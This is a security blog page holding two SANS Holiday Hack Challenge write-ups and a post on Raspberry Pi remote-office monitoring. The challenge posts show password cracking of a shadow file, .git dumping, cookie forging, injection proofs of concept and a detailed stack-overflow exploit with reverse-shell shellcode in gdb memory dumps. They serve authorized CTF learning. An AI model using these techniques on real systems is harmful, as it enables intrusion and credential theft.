Saturday, January 7, 2017

SANS Holiday Hack Challenge 2016 - Santa's Business Card

Santa's Business Card

The Counter Hack Team prepared an amazing challenge for 2016, full of details and very comprehensive. Here is my write-up:

It’s Christmas time, and a new adventure is waiting for the Dosis children. Santa has been kidnapped, Christmas is in peril, unless the Dosis children are able to solve this mystery. After finding Santa’s business card, they found out that Santa is very active in Social Media!!! He has twitter and Instagram accounts: @satanwclaus.

So, Jess and Josh took a look to Santa’s tweets, which appear to be hiding something, the use of dots “.” and questions marks are a bit suspicious. Jess knew that something was hidden, but in order to examine the tweets she needed to access all tweets and take a closer look. Of course, she already had access to the twitter API (including oauth access keys), and after writing a python script she was able to download all tweets into a cvs file. After opening the file in the terminal, Josh, who was looking from behind, told her: “Hey, it looks like the letter B, and a U… wait a minute, this is a hidden ASCII message”. 





Jess said: “You are right Josh, it says: BUG BOUNTY”. But what does this mean? bug bounty? what Santa has to do with “bug bounty”?

Then, the kids turned to instagram, to check the pictures published by Santa. Finding a very interesting one:



Jess: “Uhm, it looks like Santa is in the InfoSec business, look Josh, Santa has a Python cheat sheet from SANS, and a Violent Python cookbook for Pentesting”

Josh: “Wait a minute… Santa was downloading an application: SantaGram_v4.2.zip, but from where? what is this app for?”

Checking the picture, they found a very interesting sheet, that looks like a security nmap report for the site: www.northpolewonderland.com. The children linked the pieces together and use them as the following URL:
http://www.northpolewinderland.com/SantaGram_v4.2.zip, and downloaded the SantaGram_v4.2.zip file.

Josh: “What’s inside this app, let’s unzipped to take a look”:

unzip SantaGram_v4.2.zip

Jess: “It’s asking for a password, let’s try the hidden phrase in Santa’s tweets: bugbounty”

VoilĂ !!! the SantaGram_4.2.apk was in her screen.

Josh: “Jess, this is an android app!!!"

Now, it is time to answer the first two questions:

1) What is the secret message in Santa’s tweets?

“bug bounty”

 2) What is inside the ZIP file distributed by Santa’s team?

SantaGram_4.2.apk: android app.

After these amazing findings, the two kids approached Santa’s bag, and disappeared!!! materializing in a different place, but where… the North Pole!!!

The children continued analyzing the android app, SantaGram, trying to understand how it works, and what can be found inside, any clue that could lead to Santa. 

First, Jess used apktool to decode the apk file, and explore its resource and smali files:

apktool d SantaGram_v4.2.apk

In the res/values directory, the children found the strings.xml file with valuable information related to services used by the app:

- https://analytics.northpolewonderland.com
- http://ads.northpolewonderland.com
- http://dev.northpolewonderland.com
- http://dungeon.northpolewonderland.com
- http://ex.northpolewonderland.com

Not only that, an audio file was found in the res/raw directory: "discombobulatedaudio1.mp3".

Josh played the audio file, but he couldn’t understand a single word. 

Josh: “Jess, any idea about this audio? Can you understand what it says?”

Jess: “No idea Josh, it doesn’t sound right, it seems like something happened to the original audio”

Then, Josh found something really interesting… “Jess, look at this file (smali/com/northpolewonderland/santagram/b.smali), this is a username and password, maybe we can use it with the app”

Jess: “You are right Josh! nice finding!!!”



So, the answer to the next questions:

3) What username and password are embedded in the APK file?

Username: “guest”
Password: “busyreindeer78”

4) What is the name of the audible component (audio file) in the SantaGram APK file?

"discombobulatedaudio1.mp3"

Josh and Jess started a scavenger hunt, looking for the pieces of the cranberry Pi in the North Pole. after finding all the pieces, they were able to extract the SD of the cranberry Pi (cranbian-jessie.img), and insert it into Jess laptop.

Jess ran “disk -l cranbian-jessie.img” to take a look to the partition table:



Josh: “Wow, there it is! let’s mount cranbian-jessie.img2. It starts at sector 137216, and each sector is 512 bytes, which means: 70254592 bytes offset to mount it”

So, Jess ran the following command:

mkdir mnt; mount -o loop,ro,offset=$((137216*512)) cranbian-jessie.img ./mnt

Josh: “Here we go!!! let’s look inside… Uhmm, there is a cranpi user, if we are able to obtain its password, maybe we can access the protected rooms. Let’s talk to our friend John, he knows what to do”

Jess grabbed the “/etc/shadow” file, and gave it to John. John is very savvy in term of password testing, and only asked for a comprehensive list of known password, “rockyou.txt”, to perform its job:

john —wordlist=/tmp/rockyou.txt shadow

After some minutes, the password was found:

yummycookies     (cranpi)
 
Josh: “ I love cookies!!!, it’s time to open doors!”

The first door asked for a two parts password hidden inside the “out.pcap" file. This file was owned by the user itchy, and only has read permission for “itchy", but the current user was scratchy.

Josh: “Let’s check if we have any command available through sudo”

"sudo -l” showed that scratchy can run “tcpdump” and “strings” as “itchy” without providing any password.

First, they used:  sudo -u itchy tcpdump -r out.pcap -n -vv -X

Jess: “Josh, there is a HTTP connection, asking for firsthalf.html, and the response contains an HTML file with a form, and a hidden field whose name is 'part1' and value ‘santasli’, the second part must follow..”

Josh: “Yes, here it comes… GET /secondhalf.bin… but.. wait a minute, this is a binary file, can you see any string that looks like the second part?”

Jess: “No, I can’t!!!, but, where is it?”

The children continued looking inside the binary, using the tools available, until…

Jess: “Here it is… this is the second part”

sudo -u itchy strings -e l out.pcap

Shows: “part2:ttlehelper”

Josh: “Wow, so changing the encoding to little endian solved the puzzle”

The children entered the password: “santaslittlehelper” and entered to the first room.

The second room, was actually a game… Wumpus.. Josh jumped in, and started to play..

He didn’t need any hack or cheat to defeat the Wumpus, and obtained the key: “WUMPUS IS MISUNDERSTOOD”

The third room asked for a key in a hidden file… However, this is not a problem for the Dosis children:

After running: find . -type f -ls, the file was shown:

" ./.doormat/.\ /\ /\\/\\\\/Don't\ Look\ Here!/You\ are\ persistent,\ aren't\ you?/‘/key_for_the_door.txt”

Then, adding a bit of magic to find solved the puzzle: find . -iname \*txt -exec cat '{}' \;
"key: open_sesame”

The fourth door started a new game: “Wargame” following the same script as the film “Wargame”, after giving the first objective, the password was shown to the children: "LOOK AT THE PRETTY LIGHTS”

Josh: “This is really funny!!!”

Jess: “Come on Josh, focus, we need to hurry”

The fifth door shows a menu with an option to start a train, but it requires a password after issuing the command “START”

Josh: “It requires a password, let’s check the HELP option.. Uhm, is this less? yeah, it is”

So, Josh run: !bash … and he got a shell!!!

Jess: “Well done Josh, you’re really good at these puzzles”

after checking the Train_Console program, they realized that it was a shell script, and the password was embedded:

PASS=“24fb3e89ce2aa0ea422c3d511d40dd84"

Josh supplied the password to the program, and the train traveled back in time to 1978.

Jess: “Wow, I cannot believe it!!! We’re in 1978”

After going around looking for Santa, the children found Santa in the DFER room next to the reindeers.

The answers to this section questions are:

5) What is the password for the “cranpi” account n the cranberry Pi system?

yummycookies

6) How did you open each terminal door and where had the villain imprisoned Santa?

Santa was found in the DFER room next to the reindeers, in 1978.

Josh told her sister: “It’s time to exploit some servers!!!”

- The Mobile Analytics Server (via credentialed login)

Jess: “let’s start with the first one…https://analytics.northpolewonderland.com…”, so, Jess accessed the web server using her browser, and a login screen appeared.

Josh exclaim: “What if we try the username and password found in the SatanGram app?”

Jess: “Great idea Josh.. it works, we are in, check this out! there is a mp3 link”, and she downloaded the file:  “discombobulatedaudio2.mp3”

- The Dungeon Game

Jess ran a nmap on the next server: dungeon.northpolewonderland.com (35.184.47.139), showing that besides ports 22 (SSH) and 80 (HTTP), the port 11111 was open!

Immediately, Josh took his laptop and typed: “nc 35.184.47.139 11111”

Josh: “Jess, look at this, it’s a game!!!”



Jess: “but it’s quite old, 1978?”

Josh: “Yes, it is indeed, but it looks like fun. I’m gonna give a try”

After a while. there were no doubt that Josh was having a good time, but time wasn’t exactly what they had. So, Jess remembered that one of the elf in the North Pole gave her a binary with the game, so, she unzipped  it, and checked it. Like any other binary, besides checking header and libraries, there is always a good idea to run strings, just to check what strings are there:



“GDT”… this is weird, she told Josh to stop playing, and check if GDT was enable… Yup! it was.

Jess also found the source code in GitHub: https://github.com/devshane/zork 

Jess: “Josh, here is the source code, the difference seems to be the data file: dtextc.dat, it stores messages, rooms, objects, etc. Let’s check the commands available in the Game Debugging Tool”

Josh: “But let me play it, I already defeated the Cyclops!!!” 

Jess replied: “No time for that Josh, let’s first check the messages using ‘DT’… look, it has more messages available than the original database, let’s see the extra messages”

Josh: “Here is the answer!”



Jess: “Ok, I’m gonna send an email”

The children got a reply with the audio file attached to it: "discombobulatedaudio3.mp3”

- The Debug Server

Jess said: “We need to know how the SantaGram sends data to the debit server, if we find a way to craft specific messages to the server, maybe we can find the hidden audio file"

So, the Dosis children jumped into the SantaGram app. Jess, used Jadx to check the source code, while Josh was having fun with the smali code. He changed the parameter “debug_data_enabled” from false to true in the res/values/strings.xml, then he built the app again: apktool b SantaGram_4.2, resign it, using a custom set of digital certificate and private key, and run the android studio emulator to install it.

Josh ran the emulator with -http-proxy pointing to the ZAP proxy he had installed in his laptop. 



After playing for a while with the App, he accessed the Edit Profile Option, and a messages appeared in the proxy (ZAP) going to the debug server:

Request:



Response:



Jess: “The source code related to Edit profile is obfuscated, I can see some vars that are passed to the JSON builder: date, udid, debug and freemen”

Josh: “Yup, those are the vars, look at this” showing the ZAP captures.

Jess: “What if we add verbose to the request, and set it to true?”

Josh: “Good idea, let me try that”

Josh open a shell, and using curl, crafted a JSON request:


The key files has a array of file names containing the audio file needed: "debug-20161224235959-0.mp3”

After downloading the mp3 file, the children started the next Challenge.

- The Banner Ad Server

Jess accessed the Ad Server (http://ads.northpolewonderland.com), and inspected the HTML source:



Jess: “Josh, this website is using meteor, maybe we can use meteor miner to grab more information”

Josh: “Excellent!!! let’s get started”

The children activated meteor miner, navigating the available routes uncovered by meteor miner:



The route “admin/quotes” has a Collection available, HomeQuotes, so, Jess used the console to type the following: "HomeQuotes.find().fetch()”

Getting an array with five object as response. Then Jess checked each object obtaining the audio file needed:


The children downloaded the mp3 file: "ofdAR4UYRaeNxMg/discombobulatedaudio5.mp3”, jumped into the next server…

- The Uncaught Exception Handler Server

Josh: “I’m gonna work with the Android Emulator to check if I can generate an exception”

Jess: “No need for that Josh, Let’s check the code with Jadx”



Josh: “That’s perfect!! I can craft a request with this info”

So, Josh opened a shell, and crafted a new request:


Josh: “What if I change the value of the operation key, Let’s put something different…”


Jess: “Nice.. only WriteCrashDump or ReadCrashDump are supported… Try to call ReadCrashDump Josh”



Josh: “Now I need to add crashdump key and value… Uhm, I guess it will return the message previously sent with WriteCrashDump”



Josh: “I got it! It must be writing the message sent into a file with WriteCrashDump, and then reading it back with ReadCrashDump.. Let’s try to add a filter”



Jess: “You got it right Josh!!!”

Josh: “Uhm, Look at this code”



Jess: “This is wrong Josh, it’s requiring a file based on a value of a JSON key… User input without any validation.. this can only lead to trouble"

Josh: "Let try with a PoC... I'm sure that I can inject code"



Josh: "Done! I got the PoC working..."

Jess: "Josh, stop wasting time, we need to hurry"

And the children recovered the audio file: "discombobulated-audio-6-XyzE3N9YqKNH.mp3"

- The Mobile Analytics Server (post authentication)

Jess: “It’s time for the last server, let me check the source code of the SantaGram app in Jadx to see if I can find something else..”

Josh: “Too much work… It has a .git directory… somebody is not doing his job securing the deployment process…”



Jess: “Wow, who can do something like that… “

Josh: “I’m not going to complain…”

Josh downloaded the whole “.git” directory using wget: "wget -r https://analytics.northpolewonderland.com/.git/

Using git, the children were able to recover all the files: “git log and git checkout to go to a specific revision”

Josh: “There is a section, edit, that is only available to the administrator user…, look at this piece of code”

crypto.php


login.php:


Josh: “I can use this code to generate a cookie as the administrator user… it’s not using any random string, just the username and date as part of the cookie”



Josh: “I’m in as the administrator”

Jess: “Too much work Josh… look at this”



Jess: “The administrator password was in a previous commit..”

Josh: “It’s ok, I enjoy coding my way into apps…”

Jess: “Hey Josh, look at this section in the edit.php file”



Josh: “What??? the foreach is going through all the values in the report table!!! but the query is also defined there... If we create a report, and change it later, we could inject a crafted query to grab data from the audio table”

So, Josh used curl again to craft another request to an existing report: 




Josh: “Here it is.. the next file.. but it belongs to the administrator user, and the get audio only allows to download file for the guest user, so, we’ll need to getting directly from the database.. What if we encode it as base64, it could work”

Jess: “Go ahead Josh…”



After decoding the base64 audio file, the children recovered the last mp3 file: "discombobulatedaudio7.mp3”

Answer to this section questions:

7) Once you get approval of given in-scope target IP addresses from Tom Hessman at the North Pole, attempt to remotely exploit act of the following targets:

Target
Vulnerability
The Mobile Analytics Server (via credentialed login access)
Username and password found in apk file
The Dungeon Game
Game Debugging Tool (GDT)
The Debug Server
Provides protected information from a parameter that can be easily manipulated by a remote user
The Banner Ad Server
Protected information is sent to client, even if the data is not displayed
The Uncaught Exception Handler Server
It’s requiring a file based on unvalidated user input.
The Mobile Analytics Server (post authentication)
- Deploying the app including the codebase (git)
- Cookies doesn’t contain random values.
- Credentials are stored in the codebase
- It’s allowing unvalidated user input.

8) What are the names of the audio files you discovered rom each system above? 

discombobulatedaudio1.mp3
discombobulatedaudio2.mp3
discombobulatedaudio3.mp3
debug-20161224235959-0.mp3
discombobulatedaudio5.mp3
discombobulated-audio-6-XyzE3N9YqKNH.mp3
discombobulatedaudio7.mp3

After finding the last audio file, the Dosis children put all the audio files together, trying to understand.

Jess: “They sound very slow, we can play with the speed.. or the tempo of the audio files”

Josh: “Let’s do it!”

After while, the children solved the puzzle:

Jess: “There are 7 files, 7 seconds each… if we change the tempo to 7.0 and then concatenate the files, we could get the original audio, or at least something very similar”



The children concatenated the files using sox, and listened to the new audio file.

Josh: “I can get some phrases.. but it is still a bit robotic, and the accent..”

Jess: “It’s a British accent, let’s google the words we can understand”

"Father Christmas, Santa Claus. Or, as I've always known him, Jeff”

Josh: “What is this?”

Jess: “This is from Dr Who Christmas Carol… Let’s enter to the password protected room”

Jess: “Dr. Who! but why?”

Josh: “Star Wars Holidays Special, is that real? You wanted to change the pass using Santa’s magic, and because he didn’t want to help, then you kidnapped him”

And this is how the Dosis children saved Santa, and solve another Christmas Mystery…

9) Who is the villain behind the nefarious plot?

Dr. Who

10) Why had the villain abducted Santa?


To use Santa’s magic, and change the pass in 1978 preventing the Star Wars Special from being released. 

Tuesday, April 12, 2016

Distributed Infrastructure Testing with Raspberry Pi

Let’s review this scenario, early in the morning, a couple of emails are in the inbox from users located at a remote office, with more than 6 hours difference, complaining that they cannot reach any internal IT service from the Office. The only way to reach those services is connecting directly from their smartPhones or Home.

First thing to check, Any alert from our monitoring system? No, there is no alert, actually, everything looks good: all services are up and running and the office’s devices (switches, firewalls, etc) are reachable from the main Datacenter, latency seems to be normal, no packet drops in our firewall, etc. 

What is the problem? the only way to find out is to connect to a computer in the remote office and try to access the internal services. We were lucky that one user allowed us to connect to his computer, after a couple of tests, the problem was evident: DNS resolution issue. Trying to access the Internal Services using IP addresses worked perfectly, but it didn’t work with DNS names.

The problem was that our Firewall was acting as the DNS server for this office, and it was forwarding DNS queries to the right DNS server based on the domain: internal services or external services. For some reason, the firewall was trying to reach the Internal DNS resolver using the wrong interface. This interface was used to connect the remote office with Internal Services, but we changed the Internet connection, and added a new virtual interface for this connection. The change was performed the night before the failure, but our internal tests passed. 

There are two questions to be asked here:

  • How can we prevent this to happen again? 
  • How can we detect this issue before our users do?

First thing is to understand why this issue happened, and then how can we stop it from happening again. After a brainstorming with the team, we agreed that our main problem was lack of visibility from the remote office. We were performing the tests and monitoring all services from our main datacenter, but we didn’t have the user perspective of the IT Services. 

A second problem raised during this troubleshooting: we needed access to a device in the same office to test or troubleshoot any issue. However, users weren’t always able to help, and in some cases, performing a change after normal working hours requires somebody in the office willing to help us. 

It’s evident that we needed to setup a device locally that could help monitor and test the infrastructure. However, this raised many questions:

- What are going to be the hardware Specs?
- What if the device fails?
- How are we going to monitor all services?
- How are we going to install, configure and manage all those devices?

In order to make this evaluation process simpler, we established the following rules:

- The device must run Linux.
- A low cost and easily replaceable device.
- The device should be configured centrally and then ship to each office.

The Raspberry Pi was chosen as our monitoring and remote infrastructure testing device. Basically, it complies with all requirements:

- Runs Linux
- It’s a low cost device.
- We can configure it centrally, and later ship it to the remote offices.

In order to make the deployment process simpler, we created a Linux image (raspbian) that can easily be copied to the SD cards using dd.

However, we always need to perform changes on the images once installed, actually, installing new packages or just upgrading the current installation are very important processes in our operation, and we didn’t want to connect to each device manually to perform these activities. The obvious solution is a configuration management system, in our case Ansible.

Ansible helps to configure all devices and keep their configuration in sync and current. However, we still need to add a couple of services to satisfy the main requirements.

First, we added the Nagios agent into the raspberry Pi, but instead of adding several checks, we decided to keep it simple, and created a rule of no more than three checks:

- Internal service located in our main datacenter. 
- internal service located in AWS.
- External web site.

All three checks must be end-2-end tests: log into the service (for the first two cases) and access a feature. A failure in any of the checks could imply several possible root error, however, adding several checks (Local Internet Link, Main datacenter Internet Link, DNS resolution, Service availability, etc) gives extra granularity at the expense of complexity in term of configuration and exponential increase in the number of checks generated by the Nagios system.

We don’t need this granularity. If a failure occurred, we can connect to the raspberry Pi of the affected remote office, and run a set of commands to understand the root cause.

One additional requirement related to the troubleshooting process is that we wanted to facilitate the execution of scripts/commands, in a way that our support team or any team member that was on duty (on call rotation) could receive the alarm and act accordingly. But, if they need to connect using ssh to the right device, and later execute a set of commands, the troubleshooting process will be harder, taking more time than the clients are willing to wait to have all services up and running.

For this reason, we introduced RunDeck as a central point to access and execute commands and scripts on the raspberries Pi. RunDeck provides a web interface that can be accessed from any web browser, and our team can deploy infrastructure tests easily using a central Git repository. With one click, we can check if all VPNs, Internet Links or MPLS connection are up.

Having a failure in a remote office implies running a check service availability for that remote office in RunDeck, and just wait for the result. The same applies after performing a change, instead of manually running a check list, just run the infrastructure tests for the remote office.



We’re still learning and experimenting with this approach, incrementally adding more tests. But we’ve gained more visibility in our infrastructure.

Monday, January 11, 2016

SANS Holiday Hack Challenge 2015 - Part 0x03



This post is the last of the SANS Holiday Hack Challenge 2015 series, which includes SuperGnome 05 Application Pen-Testing and part 05 of the Challenge. 

I've changed all IP addresses to localhost, because the targets used in the Challenge were using AWS, and those IPs can be assigned to other tenants.


Part 4: There’s No Place like Gnome for the Holidays: Gnome Pwnage


7) Please describe the vulnerabilities you discovered in the Gnome firmware.


sgstatd: In order to analyze the vulnerabilities in this program, I’ll add the C code found in SG-01 (sgnet.zip). The most important vulnerability found in this file is the lack of bound checking for user supplied data (buffer overflow vulnerability). In the file sgsgatd.c, the function child_menu presents an option menu with three options, however, there is a fourth option, hidden, that can be accessed with the letter “X” (ASCII character 88). Here the user can supply a message to the program, then the function calls sgstatd(). The sgstatd() function, declares a char variable “bin” with a length of 100 characters, but then calls the signet_readn() function with a pointer to “bin”, but the supplied length is “200” instead of the real length of bin. In this case the user can input a message longer than 100 bytes, resulting in a buffer overflow.

The sgstatd() adds a couple of instructions in assembly. The first one 

“ __asm__("movl $0xe4ffffe4, -4(%ebp)");”

copies the hex number “0xe4ffffe4” in an address four bytes before the address stored in the EBP register. Then, after returning from the signet_readn() function, it executes the following instruction: 

“ __asm__("movl -4(%ebp), %edx\n\t" "xor $0xe4ffffe4, %edx\n\t"  // Canary checked
                     "jne sgnet_exit");"

It moves the value of the canary to the EDX register (4 bytes before the EBP address), xor the canary value with the content of EDX (if everything is right, and the canary hasn’t changed, this should be “0”), if this is different from “0” jumps to the sgnet_exit function). The problem here is the fixed number for the canary.

Actually, the chosen canary value has a second problem that exposes another vulnerability. I’ll talk about it later in the SG-05 section.

In the C code, _CHROOT is not defined, then the chroot is not executed (this can be tested also in the sgstatd binary found in the Gnome firmware), only a chdir is executed to the “/var/run/sgstatd” directory. 

The sgstatd binary file found in the firmware of the Gnome has a couple of issues:

- It’s been compiled with -fno-stack-protector. This option disables proPolice/StackGuard during compilation, basically disabling canaries. This can be checked with the debian script “hardening-check” or running the following command “readelf -s sgstatd.protected | grep  '__stack_chk_fail’” (there is no __stack_chk_fail).

- It’s been compiled with -z execstack. This parameter disables the option “execute Disable Bit” or NX in Linux. In other words, it’s possible to run code stored in the stack. Executing the following command: “readelf -W -l sgstatd |  grep 'GNU_STACK' | grep RWE” show the following “GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4” (the E shows an executable stack), also executing “execstack -q” on the binary outputs “X”, meaning that the executable stack is required.  


8) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN IN THE DOSIS NEIGHBORHOOD, attempt to remotely exploit each of the SuperGnomes.  Describe the technique you used to gain access to each SuperGnome's gnome.conf file.  YOU ARE AUTHORIZED TO ATTACK ONLY THE IP ADDRESSES THAT TOM HESSMAN IN THE DOSIS NEIGHBORHOOD EXPLICITLY ACKNOWLEDGES AS “IN SCOPE." ATTACK NO OTHER SYSTEMS ASSOCIATED WITH THE HOLIDAY HACK CHALLENGE."


SG-05: 

SG-05 shows a more resilient approach. Scanning the server shows the TCP port 4242 open, and the TCP port 5555 closed, but unfiltered. The Node.js application shows a better security posture. Performing a telnet or netcat to the TCP port 4242, displays the options menu from the “sgstatd” application. It’s time for a buffer overflow exploit: “Smashing the Stack for Fun and Profit!”  (phrase coined by Aleph One).

We already have the “sgstatd” binary, and most probably this means that the server is using this binary. This means three things:

- The server is a x86, 32 bits architecture.
- The binary has the NX and stack-protector security options disabled.
- The binary has a fixed and known canary value (we can check if this is true with gdb).

However, we don’t know if the server has ASLR (Address Space Layout Randomization) enabled. This is an environment security feature, and we’ll know only after attacking the target system.

Let’s first check the sgstatd binary file using gdb:

- Disable ASLR in Linux: “echo 0 > /proc/sys/kernel/randomize_va_space"
- Start gdb “sudo gdb ./sgstatd”.
- Because the server forks a child process for each connection, we need to be able to follow the child process: “set follow-fork-mode child"
- There is an “alarm(16)” function in “sgnet.c”, this alarm prevents us to break and then continue. So, let’s disable that also: “handle SIGALRM ignore"
- Now, set a break in “child_main", and run the program.
- Connect to the port 4242, and set another break in “sgstatd”. Input “X” to select the hidden option from the client (nc or telnet).
- let’s inspect the code: “disas sgstatd”:
“”"
   0x0804935d <+0>: push   %ebp
   0x0804935e <+1>: mov    %esp,%ebp
   0x08049360 <+3>: sub    $0x88,%esp
=> 0x08049366 <+9>: movl   $0xe4ffffe4,-0x4(%ebp)
   0x0804936d <+16>: movl   $0x1e,0x8(%esp)
   0x08049375 <+24>: movl   $0x8049d53,0x4(%esp)
   0x0804937d <+32>: mov    0x8(%ebp),%eax
   0x08049380 <+35>: mov    %eax,(%esp)
   0x08049383 <+38>: call   0x8048af0 <write@plt>
   0x08049388 <+43>: mov    0x804b2e0,%eax
   0x0804938d <+48>: mov    %eax,(%esp)
   0x08049390 <+51>: call   0x80489a0 <fflush@plt>
   0x08049395 <+56>: movl   $0xc8,0x8(%esp)
   0x0804939d <+64>: lea    -0x6c(%ebp),%eax
   0x080493a0 <+67>: mov    %eax,0x4(%esp)
   0x080493a4 <+71>: mov    0x8(%ebp),%eax
   0x080493a7 <+74>: mov    %eax,(%esp)
   0x080493aa <+77>: call   0x804990b <sgnet_readn>
   0x080493af <+82>: mov    -0x4(%ebp),%edx
   0x080493b2 <+85>: xor    $0xe4ffffe4,%edx
   0x080493b8 <+91>: jne    0x804933f <sgnet_exit>
   0x080493be <+97>: mov    $0x0,%eax
   0x080493c3 <+102>: leave 
   0x080493c4 <+103>: ret
“”"
- Nice!!! this binary is using the same canary: “0xe4ffffe4"
- Explore the registers and frame: “i r” and “i f”.
“”” registers
eax            0x181 385
ecx            0xb7fd08a4 -1208153948
edx            0x0 0
ebx            0xb7fcf000 -1208160256
esp            0xbffff1a0 0xbffff1a0
ebp            0xbffff228 0xbffff228
esi            0x0 0
edi            0x0 0
eip            0x8049366 0x8049366 <sgstatd+9>
eflags         0x286 [ PF SF IF ]
cs             0x73 115
ss             0x7b 123
ds             0x7b 123
es             0x7b 123
fs             0x0 0
gs             0x33 51
“”"
“”” Frame
Stack level 0, frame at 0xbffff230:
 eip = 0x8049366 in sgstatd; saved eip = 0x80492f4
 called by frame at 0xbffff6b0
 Arglist at 0xbffff228, args:
 Locals at 0xbffff228, Previous frame's sp is 0xbffff230
 Saved registers:
  ebp at 0xbffff228, eip at 0xbffff22c
“”"

- Set a break before the “xor” : “b *0x080493af” and fill the buffer with A's.
- Let’s inspect the frame again: “i f"

“”"
Stack level 0, frame at 0xbffff230:
 eip = 0x80493af in sgstatd; saved eip = 0x41414141
 called by frame at 0xbffff234
 Arglist at 0xbffff228, args:
 Locals at 0xbffff228, Previous frame's sp is 0xbffff230
 Saved registers:
  ebp at 0xbffff228, eip at 0xbffff22c
“”"

- We have overwritten the saved eip register with “A” (0x41). What about the canary? “x $ebp-4”: 

“ 0xbffff224: 0x41414141”. 

- We need to know the position in the stack for the bin buffer: “ x/100x $ebp-110”:

“”"
0xbffff1ba: 0x0a0db7ff 0x41414141 0x41414141 0x41414141
0xbffff1ca: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1da: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1ea: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff1fa: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff20a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff21a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff22a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff23a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff24a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff25a: 0x41414141 0x41414141 0x41414141 0x41410a0d
0xbffff26a: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff27a: 0x41414141 0x0a0d0a0d 0xd0900a0d 0x81d40804
“”"

- The bin buffer starts 106 bytes before the EBP register (in our example: 0xbffff1be ), 

We have enough information to start creating our attack. We have 102 bytes for our shellcode, actually a bit more, but we’ll talk about it later.

We can try at least two types of shellcodes: bind shell or reverse bind shell. Most bind shells are longer than 85 bytes. Actually, there is one that has exactly 89 bytes, but this has two disadvantages:

- First, it’s still too long, and doesn’t fit entirely into the buffer. Let’s explain this a bit more, we can split the buffer into two segments: before the canary (102 bytes) and after the canary (86 bytes). It looks like the first part has enough room for the shellcode, however, the shellcode executes a couple of push instructions (there are approx. 18 push instructions), e.g. “ push esi”, “ push word 0x15b3”, overwriting our own shellcode (ESP register will be “0xBFFFF230” after the function epilogue, and will start pushing local variables starting on this position). In order to make enough room for our shellcode to run, we could split our shellcode into two, adding a jump forward assembly instruction (jmp short) at the end of the first part, jumping to the start of the second piece of our code.
- Second, we need an unfiltered port. We have it! it’s the port 5555, however, there are going to be many people accessing this server, so, there is a high probability that somebody will connect to the bind shell before our code does.

Let’s explore the reverse bind shell option. The code is 74 bytes long ( Author:  Julien Ahrens, Website:  http://www.rcesecurity.com), still the code is too long for the first part of the buffer (only for a couple of bytes, remember the push instructions), but good enough for the second part (the second part of the buffer is not affected by the push instructions). We can still add a jump short instruction in the first part of the buffer, in order to jump to our shellcode. 

However, we need a service that listen for the incoming connection, which means that we need a public IP address. I launched a free tier instance in AWS with a public IP address to listen for this connection, using the following script:

This script has a “while true” loop, and then echoes a set of commands to netcat to get all the files stored in the directory: "/gnome/www/files”. One more time, the script is using a base64 encoding to get all files, including binaries. 

Also, I wrote a small python program that performs the dance with the options menu of sgstatd and sends the shellcode: https://github.com/skysec/SANSHolidayHack2015/tree/master/part04/sg-05/scripts, and also fills the first part of the buffer with NOPS instruction (92 NOPS), then added a jump short instruction (eb18) to jump to the first part of the shellcode after the saved EIP:


Let’s start sgstatd with gdb:

- Insert a break before the xor in the sgstatd function : “b *0x080493af”.
- Run sgstatd, and execute the python script: " python send_rb_shellcode.py 0xbffff1be 0xbffff1be” (the python script takes two parameters, the start and end address, in hex, of the expected return addresses, then it starts increasing the return address by 64 bytes until it reaches the end address).
- Check the frame: “i f"

“”"
Stack level 0, frame at 0xbffff230:
 eip = 0x80493af in sgstatd; saved eip = 0xbffff1be
 called by frame at 0xbffff1c6
 Arglist at 0xbffff228, args:
 Locals at 0xbffff228, Previous frame's sp is 0xbffff230
 Saved registers:
  ebp at 0xbffff228, eip at 0xbffff22c
“”"

- It looks good, the saved EIP has the expected value: 0xbffff1be.
- Check the canary, “x $ebp-4”, the result is: “0xbffff224: 0xe4ffffe4”. This is perfect, we have overwritten the canary with the expected value.
- Check the first part of the buffer: “x/30x 0xbffff1be” 

“”"
0xbffff1be: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1ce: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1de: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1ee: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff1fe: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff20e: 0x90909090 0x90909090 0x90909090 0x909018eb
...
“”"
- Here it is our jump instruction, let’s take a closer look: “x/5i 0xbffff218": 

“”"
   0xbffff218: nop
   0xbffff219: nop
   0xbffff21a: jmp    0xbffff234
   0xbffff21c: nop
   0xbffff21d: nop
“”"

- Take a look to the address “0xbffff234”:

“”"
0xbffff234: 0x90909090 0x6a58666a 0xd2315b01 0x026a5352
0xbffff244: 0x80cde189 0x6866b092 0x0101017f 0xd3636866
0xbffff254: 0x89536643 0x51106ae1 0x43e18952 0x026a80cd
0xbffff264: 0xb0da8759 0x4980cd3f 0x0bb0f979 0x52ca8941
0xbffff274: 0x732f2f68 0x622f6868 0xe3896e69 0x0a0d80cd
“”"

This is perfect! we can now change the target to real address and the reverse bind address to our AWS instance, and run it!. We’re going to run the script with enough address space, e.g. 0xbffff000 up to 0xbfffffff, the reason is simple, even if the system is not using ASLR, testing with gdb adds environment variables to the address space, so, we need to test different return addresses.

It didn’t work, at least, the listener didn’t receive any connection. This is not good, the server must be using ASLR. I can try a brute force attack, but we don’t have enough NOPS instructions to make it work.

Let’s try another approach, like ret2esp. For this to work, we need to find a jump %esp instruction in the text segment of the program. A quick check tells us this:

“”"
hexdump sgstatd | grep ffe4
00013b0 fc55 f281 ffe4 e4ff 850f ff81 ffff 00b8
“”"

The question is where in the text segment is located this instruction. The instructions are stored between “0x08048cbc” and “ 0x08049b13”, let’s see what can we find there: “(gdb) x/1000x 0x08048cbc”:

“”"
0x804935c <sgnet_exit+29>: 0xe58955ff 0x0088ec81 0x45c70000 0xffffe4fc
0x804936c <sgstatd+15>: 0x2444c7e4 0x00001e08 0x2444c700 0x049d5304
“”"

